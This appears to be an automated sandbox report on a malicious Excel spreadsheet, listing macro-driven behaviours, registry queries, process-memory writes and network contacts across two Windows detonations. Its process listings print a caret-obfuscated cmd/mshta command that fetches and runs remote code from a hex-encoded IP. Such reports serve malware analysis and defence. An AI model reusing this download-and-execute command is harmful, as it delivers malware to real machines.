Analysis Overview
SHA256
fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef
Threat Level: Known bad
The file fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 21:40
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 21:40
Reported
2024-11-11 21:42
Platform
win7-20241010-en
Max time kernel
61s
Max time network
37s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2116 wrote to memory of 2916 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2116 wrote to memory of 2916 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2116 wrote to memory of 2916 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2116 wrote to memory of 2916 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2916 wrote to memory of 2128 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2916 wrote to memory of 2128 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2916 wrote to memory of 2128 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2916 wrote to memory of 2128 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/cc.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/2116-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2116-1-0x0000000072C3D000-0x0000000072C48000-memory.dmp
memory/2116-2-0x0000000072C3D000-0x0000000072C48000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 21:40
Reported
2024-11-11 21:42
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
140s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3560 wrote to memory of 3720 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3560 wrote to memory of 3720 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3720 wrote to memory of 2292 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 3720 wrote to memory of 2292 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fb5a20b4730db252d5e964cfc212454b340d91c77447854dce49501115af23ef.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/cc.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.143.182.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 102.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/3560-0-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp
memory/3560-1-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp
memory/3560-5-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-6-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-8-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-10-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-9-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-7-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp
memory/3560-11-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp
memory/3560-12-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-4-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp
memory/3560-16-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp
memory/3560-15-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-14-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-18-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-17-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-13-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-3-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp
memory/3560-2-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp
memory/3560-29-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
memory/3560-30-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp
memory/3560-31-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 9f8aecb04b15600216799bfaf782ef50 |
| SHA1 | f07830b420e643f2a66e1c22700ae77996a5b5a8 |
| SHA256 | b18a800c32bdaede536dc3a07274fbf7a353f17bd847360d4ab3aa7123100ee3 |
| SHA512 | 363baf25b714b20e9595aed40afcc5d4cb87e07490817891e5cc2690b9e5f49ee9684e776f50b60622ecf5588ec623169bae2c8fa09b0e154ad315047458d99b |